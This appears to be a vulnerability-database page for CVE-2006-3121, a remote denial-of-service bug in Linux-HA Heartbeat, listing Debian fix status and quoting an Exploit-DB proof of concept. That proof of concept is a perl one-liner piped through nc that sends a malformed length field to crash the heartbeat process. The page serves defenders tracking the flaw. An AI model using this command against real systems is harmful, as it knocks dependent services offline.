CVE-2006-3121
Description
The peel_netstring function in cl_netstring.c in the heartbeat subsystem in High-Availability Linux before 1.2.5, and 2.0 before 2.0.7, allows remote attackers to cause a denial of service (crash) via the length parameter in a heartbeat message.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.
✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Linux-HA Heartbeat 2.0.6 - Remote Denial of Service
source: https://www.securityfocus.com/bid/19516/info
Linux-HA Heartbeat is prone to a remote denial-of-service vulnerability.
By successfully exploiting this issue, attackers can crash the master control process. This may result in the failure of services that depend on the application's functionality.
perl -e 'print "###\n2147483647heart attack:%%%\n"' | nc -u 192.168.1.12 694OS impact
Debian Fixed 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 1.2.4-14 |
| sid | Fixed | 1.2.4-14 |
| forky | Fixed | 1.2.4-14 |
| bullseye | Fixed | 1.2.4-14 |
| bookworm | Fixed | 1.2.4-14 |
References
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.